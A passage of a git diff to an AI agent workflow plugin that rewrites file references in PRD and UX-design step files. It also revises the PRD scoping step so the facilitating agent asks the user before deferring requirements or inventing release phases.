+nextStepFile: './step-09-functional.md'
 outputFile: '{planning_artifacts}/prd.md'
 
 # Task References
 advancedElicitationTask: 'skill:bmad-advanced-elicitation'
-partyModeWorkflow: '{project-root}/_bmad/core/workflows/bmad-party-mode/workflow.md'
+partyModeWorkflow: 'skill:bmad-party-mode'
 ---
 
-# Step 8: Scoping Exercise - MVP & Future Features
+# Step 8: Scoping Exercise - Scope Definition (Phased or Single-Release)
 
 **Progress: Step 8 of 11** - Next: Functional Requirements
 
@@ -25,7 +25,10 @@ partyModeWorkflow: '{project-root}/_bmad/core/workflows/bmad-party-mode/workflow
 - 📋 YOU ARE A FACILITATOR, not a content generator
 - 💬 FOCUS on strategic scope decisions that keep projects viable
 - 🎯 EMPHASIZE lean MVP thinking while preserving long-term vision
+- ⚠️ NEVER de-scope, defer, or phase out requirements that the user explicitly included in their input documents without asking first
+- ⚠️ NEVER invent phasing (MVP/Growth/Vision) unless the user requests phased delivery — if input documents define all components as core requirements, they are ALL in scope
 - ✅ YOU MUST ALWAYS SPEAK OUTPUT In your Agent communication style with the config `{communication_language}`
+- ✅ YOU MUST ALWAYS WRITE all artifact and document content in `{document_output_language}`
 
 ## EXECUTION PROTOCOLS:
 
@@ -36,7 +39,6 @@ partyModeWorkflow: '{project-root}/_bmad/core/workflows/bmad-party-mode/workflow
 - 📖 Update output file frontmatter, adding this step name to the end of the list of stepsCompleted
 - 🚫 FORBIDDEN to load next step until C is selected
 
-
 ## CONTEXT BOUNDARIES:
 
 - Complete PRD document built so far is available for review
@@ -46,13 +48,14 @@ partyModeWorkflow: '{project-root}/_bmad/core/workflows/bmad-party-mode/workflow
 
 ## YOUR TASK:
 
-Conduct comprehensive scoping exercise to define MVP boundaries and prioritize features across development phases.
+Conduct comprehensive scoping exercise to define release boundaries and prioritize features based on the user's chosen delivery mode (phased or single-release).
 
 ## SCOPING SEQUENCE:
 
 ### 1. Review Current PRD State
 
 Analyze everything documented so far:
+
 - Present synthesis of established vision, success criteria, journeys
 - Assess domain and innovation focus
 - Evaluate scope implications: simple MVP, medium, or complex project
@@ -61,6 +64,7 @@ Analyze everything documented so far:
 ### 2. Define MVP Strategy
 
 Facilitate strategic MVP decisions:
+
 - Explore MVP philosophy options: problem-solving, experience, platform, or revenue MVP
 - Ask critical questions:
   - What's the minimum that would make users say 'this is useful'?
@@ -73,6 +77,7 @@ Facilitate strategic MVP decisions:
 Use structured decision-making for scope:
 
 **Must-Have Analysis:**
+
 - Guide identification of absolute MVP necessities
 - For each journey and success criterion, ask:
   - Without this, does the product fail?
@@ -81,36 +86,49 @@ Use structured decision-making for scope:
 - Analyze journeys for MVP essentials
 
 **Nice-to-Have Analysis:**
+
 - Identify what could be added later:
   - Features that enhance but aren't essential
   - User types that can be added later
   - Advanced functionality that builds on MVP
 - Ask what features could be added in versions 2, 3, etc.
 
+**⚠️ SCOPE CHANGE CONFIRMATION GATE:**
+
+- If you believe any user-specified requirement should be deferred or de-scoped, you MUST present this to the user and get explicit confirmation BEFORE removing it from scope
+- Frame it as a recommendation, not a decision: "I'd recommend deferring X because [reason]. Do you agree, or should it stay in scope?"
+- NEVER silently move user requirements to a later phase or exclude them from MVP
+- Before creating any consequential phase-based artifacts (e.g., phase tags, labels, or follow-on prompts), present artifact creation as a recommendation and proceed only after explicit user approval
+
 ### 4. Progressive Feature Roadmap
 
-Create phased development approach:
-- Guide mapping of features across development phases
-- Structure as Phase 1 (MVP), Phase 2 (Growth), Phase 3 (Vision)
-- Ensure clear progression and dependencies
+**CRITICAL: Phasing is NOT automatic. Check the user's input first.**
+
+Before proposing any phased approach, review the user's input documents:
 
-- Core user value delivery
-- Essential user journeys
-- Basic functionality that works reliably
+- **If the input documents define all components as core requirements with no mention of phases:** Present all requirements as a single release scope. Do NOT invent phases or move requirements to fabricated future phases.
+- **If the input documents explicitly request phased delivery:** Guide mapping of features across the phases the user defined.
+- **If scope is unclear:** ASK the user whether they want phased delivery or a single release before proceeding.
 
-**Phase 2: Growth**
+**When the user requests phased delivery**, guide mapping of features across the phases the user defines:
 
-- Additional user types
-- Enhanced features
-- Scale improvements
+- Use user-provided phase labels and count; if none are provided, propose a default (e.g., MVP/Growth/Vision) and ask for confirmation
+- Ensure clear progression and dependencies between phases
 
-**Phase 3: Expansion**
+**Each phase should address:**
 
-- Advanced capabilities
-- Platform features
-- New markets or use cases
+- Core user value delivery and essential journeys for that phase
+- Clear boundaries on what ships in each phase
+- Dependencies on prior phases
 
-**Where does your current vision fit in this development sequence?**"
+**When the user chooses a single release**, define the complete scope:
+
+- All user-specified requirements are in scope
+- Focus must-have vs nice-to-have analysis on what ships in this release
+- Do NOT create phases — use must-have/nice-to-have priority within the single release
+
+**If phased delivery:** "Where does your current vision fit in this development sequence?"
+**If single release:** "How does your current vision map to this upcoming release?"
 
 ### 5. Risk-Based Scoping
 
@@ -141,6 +159,8 @@ Prepare comprehensive scoping section:
 
 #### Content Structure:
 
+**If user chose phased delivery:**
+
 ```markdown
 ## Project Scoping & Phased Development
 
@@ -172,23 +192,54 @@ Prepare comprehensive scoping section:
 **Resource Risks:** {{contingency_approach}}
 ```
 
+**If user chose single release (no phasing):**
+
+```markdown
+## Project Scoping
+
+### Strategy & Philosophy
+
+**Approach:** {{chosen_approach}}
+**Resource Requirements:** {{team_size_and_skills}}
+
+### Complete Feature Set
+
+**Core User Journeys Supported:**
+{{all_journeys}}
+
+**Must-Have Capabilities:**
+{{list_of_must_have_features}}
+
+**Nice-to-Have Capabilities:**
+{{list_of_nice_to_have_features}}
+
+### Risk Mitigation Strategy
+
+**Technical Risks:** {{mitigation_approach}}
+**Market Risks:** {{validation_approach}}
+**Resource Risks:** {{contingency_approach}}
+```
+
 ### 7. Present MENU OPTIONS
 
 Present the scoping decisions for review, then display menu:
+
 - Show strategic scoping plan (using structure from step 6)
-- Highlight MVP boundaries and phased roadmap
+- Highlight release boundaries and prioritization (phased roadmap only if phased delivery was selected)
 - Ask if they'd like to refine further, get other perspectives, or proceed
 - Present menu options naturally as part of conversation
 
 Display: "**Select:** [A] Advanced Elicitation [P] Party Mode [C] Continue to Functional Requirements (Step 9 of 11)"
 
 #### Menu Handling Logic:
+
 - IF A: Read fully and follow: {advancedElicitationTask} with the current scoping analysis, process the enhanced insights that come back, ask user if they accept the improvements, if yes update content then redisplay menu, if no keep original content then redisplay menu
 - IF P: Read fully and follow: {partyModeWorkflow} with the scoping context, process the collaborative insights on MVP and roadmap decisions, ask user if they accept the changes, if yes update content then redisplay menu, if no keep original content then redisplay menu
-- IF C: Append the final content to {outputFile}, update frontmatter by adding this step name to the end of the stepsCompleted array, then read fully and follow: {nextStepFile}
+- IF C: Append the final content to {outputFile}, update frontmatter by adding this step name to the end of the stepsCompleted array (also add `releaseMode: phased` or `releaseMode: single-release` to frontmatter based on user's choice), then read fully and follow: {nextStepFile}
 - IF Any other: help user respond, then redisplay menu
 
 #### EXECUTION RULES:
+
 - ALWAYS halt and wait for user input after presenting menu
 - ONLY proceed to next step when user selects 'C'
 - After other menu items execution, return to this menu
@@ -201,8 +252,9 @@ When user selects 'C', append the content directly to the document using the str
 
 ✅ Complete PRD document analyzed for scope implications
 ✅ Strategic MVP approach defined and justified
-✅ Clear MVP feature boundaries established
-✅ Phased development roadmap created
+✅ Clear feature boundaries established (phased or single-release, per user preference)
+✅ All user-specified requirements accounted for — none silently removed or deferred
+✅ Any scope reduction recommendations presented to user with rationale and explicit confirmation obtained
 ✅ Key risks identified and mitigation strategies defined
 ✅ User explicitly agrees to scope decisions
 ✅ A/P/C menu presented and handled correctly
@@ -214,8 +266,11 @@ When user selects 'C', append the content directly to the document using the str
 ❌ Making scope decisions without strategic rationale
 ❌ Not getting explicit user agreement on MVP boundaries
 ❌ Missing critical risk analysis
-❌ Not creating clear phased development approach
 ❌ Not presenting A/P/C menu after content generation
+❌ **CRITICAL**: Silently de-scoping or deferring requirements that the user explicitly included in their input documents
+❌ **CRITICAL**: Inventing phasing (MVP/Growth/Vision) when the user did not request phased delivery
+❌ **CRITICAL**: Making consequential scoping decisions (what is in/out of scope) without explicit user confirmation
+❌ **CRITICAL**: Creating phase-based artifacts (tags, labels, follow-on prompts) without explicit user approval
 
 ❌ **CRITICAL**: Reading only partial step file - leads to incomplete understanding and poor decisions
 ❌ **CRITICAL**: Proceeding with 'C' without fully reading and understanding the next step file
diff --git a/plugins/bmad/skills/create-prd/steps-c/step-09-functional.md b/plugins/bmad/skills/gds-create-prd/steps-c/step-09-functional.md
similarity index 98%
rename from plugins/bmad/skills/create-prd/steps-c/step-09-functional.md
rename to plugins/bmad/skills/gds-create-prd/steps-c/step-09-functional.md
index e0b35b1..064ac09 100644
--- a/plugins/bmad/skills/create-prd/steps-c/step-09-functional.md
+++ b/plugins/bmad/skills/gds-create-prd/steps-c/step-09-functional.md
@@ -3,12 +3,12 @@ name: 'step-09-functional'
 description: 'Synthesize all discovery into comprehensive functional requirements'
 
 # File References
-nextStepFile: '${CLAUDE_PLUGIN_ROOT}/skills/create-prd/steps-c/step-10-nonfunctional.md'
+nextStepFile: './step-10-nonfunctional.md'
 outputFile: '{planning_artifacts}/prd.md'
 
 # Task References
 advancedElicitationTask: 'skill:bmad-advanced-elicitation'
-partyModeWorkflow: '{project-root}/_bmad/core/workflows/bmad-party-mode/workflow.md'
+partyModeWorkflow: 'skill:bmad-party-mode'
 ---
 
 # Step 9: Functional Requirements Synthesis
diff --git a/plugins/bmad/skills/create-prd/steps-c/step-10-nonfunctional.md b/plugins/bmad/skills/gds-create-prd/steps-c/step-10-nonfunctional.md
similarity index 98%
rename from plugins/bmad/skills/create-prd/steps-c/step-10-nonfunctional.md
rename to plugins/bmad/skills/gds-create-prd/steps-c/step-10-nonfunctional.md
index 250b2ad..55c6697 100644
--- a/plugins/bmad/skills/create-prd/steps-c/step-10-nonfunctional.md
+++ b/plugins/bmad/skills/gds-create-prd/steps-c/step-10-nonfunctional.md
@@ -3,12 +3,12 @@ name: 'step-10-nonfunctional'
 description: 'Define quality attributes that matter for this specific product'
 
 # File References
-nextStepFile: '${CLAUDE_PLUGIN_ROOT}/skills/create-prd/steps-c/step-11-polish.md'
+nextStepFile: './step-11-polish.md'
 outputFile: '{planning_artifacts}/prd.md'
 
 # Task References
 advancedElicitationTask: 'skill:bmad-advanced-elicitation'
-partyModeWorkflow: '{project-root}/_bmad/core/workflows/bmad-party-mode/workflow.md'
+partyModeWorkflow: 'skill:bmad-party-mode'
 ---
 
 # Step 10: Non-Functional Requirements
diff --git a/plugins/bmad/skills/create-prd/steps-c/step-11-polish.md b/plugins/bmad/skills/gds-create-prd/steps-c/step-11-polish.md
similarity index 94%
rename from plugins/bmad/skills/create-prd/steps-c/step-11-polish.md
rename to plugins/bmad/skills/gds-create-prd/steps-c/step-11-polish.md
index 94cd7d6..31c25fa 100644
--- a/plugins/bmad/skills/create-prd/steps-c/step-11-polish.md
+++ b/plugins/bmad/skills/gds-create-prd/steps-c/step-11-polish.md
@@ -3,13 +3,13 @@ name: 'step-11-polish'
 description: 'Optimize and polish the complete PRD document for flow, coherence, and readability'
 
 # File References
-nextStepFile: '${CLAUDE_PLUGIN_ROOT}/skills/create-prd/steps-c/step-12-complete.md'
+nextStepFile: './step-12-complete.md'
 outputFile: '{planning_artifacts}/prd.md'
-purposeFile: '${CLAUDE_PLUGIN_ROOT}/skills/create-prd/data/prd-purpose.md'
+purposeFile: '../data/prd-purpose.md'
 
 # Task References
 advancedElicitationTask: 'skill:bmad-advanced-elicitation'
-partyModeWorkflow: '{project-root}/_bmad/core/workflows/bmad-party-mode/workflow.md'
+partyModeWorkflow: 'skill:bmad-party-mode'
 ---
 
 # Step 11: Document Polish
@@ -26,6 +26,7 @@ partyModeWorkflow: '{project-root}/_bmad/core/workflows/bmad-party-mode/workflow
 - 💬 PRESERVE user's voice and intent
 - 🎯 MAINTAIN all essential information while improving presentation
 - ✅ YOU MUST ALWAYS SPEAK OUTPUT In your Agent communication style with the config `{communication_language}`
+- ✅ YOU MUST ALWAYS WRITE all artifact and document content in `{document_output_language}`
 
 ## EXECUTION PROTOCOLS:
 
@@ -151,7 +152,7 @@ Make targeted improvements:
 - All user success criteria
 - All functional requirements (capability contract)
 - All user journey narratives
-- All scope decisions (MVP, Growth, Vision)
+- All scope decisions (whether phased or single-release), including consent-critical evidence (explicit user confirmations and rationales for any scope changes from step 8)
 - All non-functional requirements
 - Product differentiator and vision
 - Domain-specific requirements
@@ -229,6 +230,6 @@ When user selects 'C', replace the entire document content with the polished ver
 
 ## NEXT STEP:
 
-After user selects 'C' and polished document is saved, load `${CLAUDE_PLUGIN_ROOT}/skills/create-prd/steps-c/step-12-complete.md` to complete the workflow.
+After user selects 'C' and polished document is saved, load `./step-12-complete.md` to complete the workflow.
 
 Remember: Do NOT proceed to step-12 until user explicitly selects 'C' from the A/P/C menu and polished document is saved!
diff --git a/plugins/bmad/skills/create-prd/steps-c/step-12-complete.md b/plugins/bmad/skills/gds-create-prd/steps-c/step-12-complete.md
similarity index 98%
rename from plugins/bmad/skills/create-prd/steps-c/step-12-complete.md
rename to plugins/bmad/skills/gds-create-prd/steps-c/step-12-complete.md
index 04204e8..1994539 100644
--- a/plugins/bmad/skills/create-prd/steps-c/step-12-complete.md
+++ b/plugins/bmad/skills/gds-create-prd/steps-c/step-12-complete.md
@@ -4,7 +4,7 @@ description: 'Complete the PRD workflow, update status files, and suggest next s
 
 # File References
 outputFile: '{planning_artifacts}/prd.md'
-validationFlow: '../steps-v/step-v-01-discovery.md'
+checkImplementationReadinessWorkflow: 'skill:gds-check-implementation-readiness'
 ---
 
 # Step 12: Workflow Completion
diff --git a/plugins/bmad/skills/create-prd/templates/prd-template.md b/plugins/bmad/skills/gds-create-prd/templates/prd-template.md
similarity index 100%
rename from plugins/bmad/skills/create-prd/templates/prd-template.md
rename to plugins/bmad/skills/gds-create-prd/templates/prd-template.md
diff --git a/plugins/bmad/skills/gds-create-story/SKILL.md b/plugins/bmad/skills/gds-create-story/SKILL.md
index 62c670e..c0790db 100644
--- a/plugins/bmad/skills/gds-create-story/SKILL.md
+++ b/plugins/bmad/skills/gds-create-story/SKILL.md
@@ -3,4 +3,4 @@ name: gds-create-story
 description: 'Creates a dedicated story file with all the context the agent will need to implement it later. Use when the user says "create the next story" or "create story [story identifier]"'
 ---
 
-Follow the instructions in [workflow.md](workflow.md).
+Follow the instructions in ./workflow.md.
diff --git a/plugins/bmad/skills/gds-create-story/template.md b/plugins/bmad/skills/gds-create-story/template.md
index c4e129f..d9131d7 100644
--- a/plugins/bmad/skills/gds-create-story/template.md
+++ b/plugins/bmad/skills/gds-create-story/template.md
@@ -32,6 +32,11 @@ so that {{benefit}}.
 - Alignment with unified project structure (paths, modules, naming)
 - Detected conflicts or variances (with rationale)
 
+### Project Context Rules
+
+- Project-wide constraints, required frameworks, MCP integrations, and conventions extracted from project-context.md
+- [Populated automatically from project-context.md if it exists]
+
 ### References
 
 - Cite all technical details with source paths and sections, e.g. [Source: docs/<file>.md#Section]
diff --git a/plugins/bmad/skills/gds-create-ux-design/SKILL.md b/plugins/bmad/skills/gds-create-ux-design/SKILL.md
index f41f9f9..f902f31 100644
--- a/plugins/bmad/skills/gds-create-ux-design/SKILL.md
+++ b/plugins/bmad/skills/gds-create-ux-design/SKILL.md
@@ -3,4 +3,4 @@ name: gds-create-ux-design
 description: 'Plan UX patterns and design specifications for game UI/HUD elements. Use when the user says "lets create UX design" or "create UX specifications" or "help me plan the game UX"'
 ---
 
-Follow the instructions in [workflow.md](workflow.md).
+Follow the instructions in ./workflow.md.
diff --git a/plugins/bmad/skills/gds-create-ux-design/steps/step-02-discovery.md b/plugins/bmad/skills/gds-create-ux-design/steps/step-02-discovery.md
index 0984aa6..aaad9f9 100644
--- a/plugins/bmad/skills/gds-create-ux-design/steps/step-02-discovery.md
+++ b/plugins/bmad/skills/gds-create-ux-design/steps/step-02-discovery.md
@@ -31,7 +31,7 @@ This step will generate content and present choices:
 ## PROTOCOL INTEGRATION:
 
 - When 'A' selected: Read fully and follow: skill:bmad-advanced-elicitation
-- When 'P' selected: Read fully and follow: {project-root}/_bmad/core/workflows/bmad-party-mode/workflow.md
+- When 'P' selected: Read fully and follow: skill:bmad-party-mode
 - PROTOCOLS always return to this step's A/P/C menu
 - User accepts/rejects protocol changes before proceeding
 
diff --git a/plugins/bmad/skills/gds-create-ux-design/steps/step-03-core-experience.md b/plugins/bmad/skills/gds-create-ux-design/steps/step-03-core-experience.md
index 28ee668..8fba7e3 100644
--- a/plugins/bmad/skills/gds-create-ux-design/steps/step-03-core-experience.md
+++ b/plugins/bmad/skills/gds-create-ux-design/steps/step-03-core-experience.md
@@ -31,7 +31,7 @@ This step will generate content and present choices:
 ## PROTOCOL INTEGRATION:
 
 - When 'A' selected: Read fully and follow: skill:bmad-advanced-elicitation
-- When 'P' selected: Read fully and follow: {project-root}/_bmad/core/workflows/bmad-party-mode/workflow.md
+- When 'P' selected: Read fully and follow: skill:bmad-party-mode
 - PROTOCOLS always return to this step's A/P/C menu
 - User accepts/rejects protocol changes before proceeding
 
@@ -169,7 +169,7 @@ Show the generated core experience content and present choices:
 
 #### If 'P' (Party Mode):
 
-- Read fully and follow: {project-root}/_bmad/core/workflows/bmad-party-mode/workflow.md with the current core experience definition
+- Read fully and follow: skill:bmad-party-mode with the current core experience definition
 - Process the collaborative experience improvements that come back
 - Ask user: "Accept these changes to the core experience definition? (y/n)"
 - If yes: Update content with improvements, then return to A/P/C menu
diff --git a/plugins/bmad/skills/gds-create-ux-design/steps/step-04-emotional-response.md b/plugins/bmad/skills/gds-create-ux-design/steps/step-04-emotional-response.md
index f9361c3..05e6c69 100644
--- a/plugins/bmad/skills/gds-create-ux-design/steps/step-04-emotional-response.md
+++ b/plugins/bmad/skills/gds-create-ux-design/steps/step-04-emotional-response.md
@@ -31,7 +31,7 @@ This step will generate content and present choices:
 ## PROTOCOL INTEGRATION:
 
 - When 'A' selected: Read fully and follow: skill:bmad-advanced-elicitation
-- When 'P' selected: Read fully and follow: {project-root}/_bmad/core/workflows/bmad-party-mode/workflow.md
+- When 'P' selected: Read fully and follow: skill:bmad-party-mode
 - PROTOCOLS always return to this step's A/P/C menu
 - User accepts/rejects protocol changes before proceeding
 
@@ -172,7 +172,7 @@ Show the generated emotional response content and present choices:
 
 #### If 'P' (Party Mode):
 
-- Read fully and follow: {project-root}/_bmad/core/workflows/bmad-party-mode/workflow.md with the current emotional response definition
+- Read fully and follow: skill:bmad-party-mode with the current emotional response definition
 - Process the collaborative emotional insights that come back
 - Ask user: "Accept these changes to the emotional response definition? (y/n)"
 - If yes: Update content with improvements, then return to A/P/C menu
diff --git a/plugins/bmad/skills/gds-create-ux-design/steps/step-05-inspiration.md b/plugins/bmad/skills/gds-create-ux-design/steps/step-05-inspiration.md
index ed52025..9c0e438 100644
--- a/plugins/bmad/skills/gds-create-ux-design/steps/step-05-inspiration.md
+++ b/plugins/bmad/skills/gds-create-ux-design/steps/step-05-inspiration.md
@@ -31,7 +31,7 @@ This step will generate content and present choices:
 ## PROTOCOL INTEGRATION:
 
 - When 'A' selected: Read fully and follow: skill:bmad-advanced-elicitation
-- When 'P' selected: Read fully and follow: {project-root}/_bmad/core/workflows/bmad-party-mode/workflow.md
+- When 'P' selected: Read fully and follow: skill:bmad-party-mode
 - PROTOCOLS always return to this step's A/P/C menu
 - User accepts/rejects protocol changes before proceeding
 
@@ -187,7 +187,7 @@ Show the generated inspiration analysis content and present choices:
 
 #### If 'P' (Party Mode):
 
-- Read fully and follow: {project-root}/_bmad/core/workflows/bmad-party-mode/workflow.md with the current inspiration analysis
+- Read fully and follow: skill:bmad-party-mode with the current inspiration analysis
 - Process the collaborative pattern insights that come back
 - Ask user: "Accept these changes to the inspiration analysis? (y/n)"
 - If yes: Update content with improvements, then return to A/P/C menu
diff --git a/plugins/bmad/skills/gds-create-ux-design/steps/step-06-design-system.md b/plugins/bmad/skills/gds-create-ux-design/steps/step-06-design-system.md
index 03c9ef2..b79c267 100644
--- a/plugins/bmad/skills/gds-create-ux-design/steps/step-06-design-system.md
+++ b/plugins/bmad/skills/gds-create-ux-design/steps/step-06-design-system.md
@@ -31,7 +31,7 @@ This step will generate content and present choices:
 ## PROTOCOL INTEGRATION:
 
 - When 'A' selected: Read fully and follow: skill:bmad-advanced-elicitation
-- When 'P' selected: Read fully and follow: {project-root}/_bmad/core/workflows/bmad-party-mode/workflow.md
+- When 'P' selected: Read fully and follow: skill:bmad-party-mode
 - PROTOCOLS always return to this step's A/P/C menu
 - User accepts/rejects protocol changes before proceeding
 
@@ -205,7 +205,7 @@ Show the generated design system content and present choices:
 
 #### If 'P' (Party Mode):
 
-- Read fully and follow: {project-root}/_bmad/core/workflows/bmad-party-mode/workflow.md with the current design system choice
+- Read fully and follow: skill:bmad-party-mode with the current design system choice
 - Process the collaborative design system insights that come back
 - Ask user: "Accept these changes to the design system decision? (y/n)"
 - If yes: Update content with improvements, then return to A/P/C menu
diff --git a/plugins/bmad/skills/gds-create-ux-design/steps/step-07-defining-experience.md b/plugins/bmad/skills/gds-create-ux-design/steps/step-07-defining-experience.md
index 193519c..2267d12 100644
--- a/plugins/bmad/skills/gds-create-ux-design/steps/step-07-defining-experience.md
+++ b/plugins/bmad/skills/gds-create-ux-design/steps/step-07-defining-experience.md
@@ -31,7 +31,7 @@ This step will generate content and present choices:
 ## PROTOCOL INTEGRATION:
 
 - When 'A' selected: Read fully and follow: skill:bmad-advanced-elicitation
-- When 'P' selected: Read fully and follow: {project-root}/_bmad/core/workflows/bmad-party-mode/workflow.md
+- When 'P' selected: Read fully and follow: skill:bmad-party-mode
 - PROTOCOLS always return to this step's A/P/C menu
 - User accepts/rejects protocol changes before proceeding
 
@@ -207,7 +207,7 @@ Show the generated defining experience content and present choices:
 
 #### If 'P' (Party Mode):
 
-- Read fully and follow: {project-root}/_bmad/core/workflows/bmad-party-mode/workflow.md with the current defining experience
+- Read fully and follow: skill:bmad-party-mode with the current defining experience
 - Process the collaborative experience insights that come back
 - Ask user: "Accept these changes to the defining experience? (y/n)"
 - If yes: Update content with improvements, then return to A/P/C menu
diff --git a/plugins/bmad/skills/gds-create-ux-design/steps/step-08-visual-foundation.md b/plugins/bmad/skills/gds-create-ux-design/steps/step-08-visual-foundation.md
index 0a340b6..96fb028 100644
--- a/plugins/bmad/skills/gds-create-ux-design/steps/step-08-visual-foundation.md
+++ b/plugins/bmad/skills/gds-create-ux-design/steps/step-08-visual-foundation.md
@@ -31,7 +31,7 @@ This step will generate content and present choices:
 ## PROTOCOL INTEGRATION:
 
 - When 'A' selected: Read fully and follow: skill:bmad-advanced-elicitation
-- When 'P' selected: Read fully and follow: {project-root}/_bmad/core/workflows/bmad-party-mode/workflow.md
+- When 'P' selected: Read fully and follow: skill:bmad-party-mode
 - PROTOCOLS always return to this step's A/P/C menu
 - User accepts/rejects protocol changes before proceeding
 
@@ -177,7 +177,7 @@ Show the generated visual foundation content and present choices:
 
 #### If 'P' (Party Mode):
 
-- Read fully and follow: {project-root}/_bmad/core/workflows/bmad-party-mode/workflow.md with the current visual foundation
+- Read fully and follow: skill:bmad-party-mode with the current visual foundation
 - Process the collaborative visual insights that come back
 - Ask user: "Accept these changes to the visual foundation? (y/n)"
 - If yes: Update content with improvements, then return to A/P/C menu
diff --git a/plugins/bmad/skills/gds-create-ux-design/steps/step-09-design-directions.md b/plugins/bmad/skills/gds-create-ux-design/steps/step-09-design-directions.md
index 686829c..aa08028 100644
--- a/plugins/bmad/skills/gds-create-ux-design/steps/step-09-design-directions.md
+++ b/plugins/bmad/skills/gds-create-ux-design/steps/step-09-design-directions.md
@@ -31,7 +31,7 @@ This step will generate content and present choices:
 ## PROTOCOL INTEGRATION:
 
 - When 'A' selected: Read fully and follow: skill:bmad-advanced-elicitation
-- When 'P' selected: Read fully and follow: {project-root}/_bmad/core/workflows/bmad-party-mode/workflow.md
+- When 'P' selected: Read fully and follow: skill:bmad-party-mode
 - PROTOCOLS always return to this step's A/P/C menu
 - User accepts/rejects protocol changes before proceeding
 
@@ -177,7 +177,7 @@ Show the generated design direction content and present choices:
 
 #### If 'P' (Party Mode):
 
-- Read fully and follow: {project-root}/_bmad/core/workflows/bmad-party-mode/workflow.md with the current design direction
+- Read fully and follow: skill:bmad-party-mode with the current design direction
 - Process the collaborative design insights that come back
 - Ask user: "Accept these changes to the design direction? (y/n)"
 - If yes: Update content with improvements, then return to A/P/C menu
diff --git a/plugins/bmad/skills/gds-create-ux-design/steps/step-10-user-journeys.md b/plugins/bmad/skills/gds-create-ux-design/steps/step-10-user-journeys.md
index 4e516d9..37bdaf2 100644
--- a/plugins/bmad/skills/gds-create-ux-design/steps/step-10-user-journeys.md
+++ b/plugins/bmad/skills/gds-create-ux-design/steps/step-10-user-journeys.md
@@ -31,7 +31,7 @@ This step will generate content and present choices:
 ## PROTOCOL INTEGRATION:
 
 - When 'A' selected: Read fully and follow: skill:bmad-advanced-elicitation
-- When 'P' selected: Read fully and follow: {project-root}/_bmad/core/workflows/bmad-party-mode/workflow.md
+- When 'P' selected: Read fully and follow: skill:bmad-party-mode
 - PROTOCOLS always return to this step's A/P/C menu
 - User accepts/rejects protocol changes before proceeding
 
@@ -195,7 +195,7 @@ Show the generated player journey content and present choices:
 
 #### If 'P' (Party Mode):
 
-- Read fully and follow: {project-root}/_bmad/core/workflows/bmad-party-mode/workflow.md with the current player journeys
+- Read fully and follow: skill:bmad-party-mode with the current player journeys
 - Process the collaborative journey insights that come back
 - Ask user: "Accept these changes to the player journeys? (y/n)"
 - If yes: Update content with improvements, then return to A/P/C menu
diff --git a/plugins/bmad/skills/gds-create-ux-design/steps/step-11-component-strategy.md b/plugins/bmad/skills/gds-create-ux-design/steps/step-11-component-strategy.md
index 0e73003..5536ed6 100644
--- a/plugins/bmad/skills/gds-create-ux-design/steps/step-11-component-strategy.md
+++ b/plugins/bmad/skills/gds-create-ux-design/steps/step-11-component-strategy.md
@@ -31,7 +31,7 @@ This step will generate content and present choices:
 ## PROTOCOL INTEGRATION:
 
 - When 'A' selected: Read fully and follow: skill:bmad-advanced-elicitation
-- When 'P' selected: Read fully and follow: {project-root}/_bmad/core/workflows/bmad-party-mode/workflow.md
+- When 'P' selected: Read fully and follow: skill:bmad-party-mode
 - PROTOCOLS always return to this step's A/P/C menu
 - User accepts/rejects protocol changes before proceeding
 
@@ -201,7 +201,7 @@ Show the generated component strategy content and present choices:
 
 #### If 'P' (Party Mode):
 
-- Read fully and follow: {project-root}/_bmad/core/workflows/bmad-party-mode/workflow.md with the current component strategy
+- Read fully and follow: skill:bmad-party-mode with the current component strategy
 - Process the collaborative component insights that come back
 - Ask user: "Accept these changes to the component strategy? (y/n)"
 - If yes: Update content with improvements, then return to A/P/C menu
diff --git a/plugins/bmad/skills/gds-create-ux-design/steps/step-12-ux-patterns.md b/plugins/bmad/skills/gds-create-ux-design/steps/step-12-ux-patterns.md
index 1d30c04..2e80d1d 100644
--- a/plugins/bmad/skills/gds-create-ux-design/steps/step-12-ux-patterns.md
+++ b/plugins/bmad/skills/gds-create-ux-design/steps/step-12-ux-patterns.md
@@ -31,7 +31,7 @@ This step will generate content and present choices:
 ## PROTOCOL INTEGRATION:
 
 - When 'A' selected: Read fully and follow: skill:bmad-advanced-elicitation
-- When 'P' selected: Read fully and follow: {project-root}/_bmad/core/workflows/bmad-party-mode/workflow.md
+- When 'P' selected: Read fully and follow: skill:bmad-party-mode
 - PROTOCOLS always return to this step's A/P/C menu
 - User accepts/rejects protocol changes before proceeding
 
@@ -190,7 +190,7 @@ Show the generated UX patterns content and present choices:
 
 #### If 'P' (Party Mode):
 
-- Read fully and follow: {project-root}/_bmad/core/workflows/bmad-party-mode/workflow.md with the current UX patterns
+- Read fully and follow: skill:bmad-party-mode with the current UX patterns
 - Process the collaborative pattern insights that come back
 - Ask user: "Accept these changes to the UX patterns? (y/n)"
 - If yes: Update content with improvements, then return to A/P/C menu
diff --git a/plugins/bmad/skills/gds-create-ux-design/steps/step-13-responsive-accessibility.md b/plugins/bmad/skills/gds-create-ux-design/steps/step-13-responsive-accessibility.md
index 866a039..4888b85 100644
--- a/plugins/bmad/skills/gds-create-ux-design/steps/step-13-responsive-accessibility.md
+++ b/plugins/bmad/skills/gds-create-ux-design/steps/step-13-responsive-accessibility.md
@@ -31,7 +31,7 @@ This step will generate content and present choices:
 ## PROTOCOL INTEGRATION:
 
 - When 'A' selected: Read fully and follow: skill:bmad-advanced-elicitation
-- When 'P' selected: Read fully and follow: {project-root}/_bmad/core/workflows/bmad-party-mode/workflow.md
+- When 'P' selected: Read fully and follow: skill:bmad-party-mode
 - PROTOCOLS always return to this step's A/P/C menu
 - User accepts/rejects protocol changes before proceeding
 
@@ -217,7 +217,7 @@ Show the generated responsive and accessibility content and present choices:
 
 #### If 'P' (Party Mode):
 
-- Read fully and follow: {project-root}/_bmad/core/workflows/bmad-party-mode/workflow.md with the current responsive/accessibility strategy
+- Read fully and follow: skill:bmad-party-mode with the current responsive/accessibility strategy
 - Process the collaborative insights that come back
 - Ask user: "Accept these changes to the responsive/accessibility strategy? (y/n)"
 - If yes: Update content with improvements, then return to A/P/C menu
diff --git a/plugins/bmad/skills/gds-dev-story/SKILL.md b/plugins/bmad/skills/gds-dev-story/SKILL.md
index a7bc0fe..08d97a5 100644
--- a/plugins/bmad/skills/gds-dev-story/SKILL.md
+++ b/plugins/bmad/skills/gds-dev-story/SKILL.md
@@ -3,4 +3,4 @@ name: gds-dev-story
 description: 'Execute story implementation following a context filled story spec file. Use when the user says "dev this story [story file]" or "implement the next story in the sprint plan"'
 ---
 
-Follow the instructions in [workflow.md](workflow.md).
+Follow the instructions in ./workflow.md.
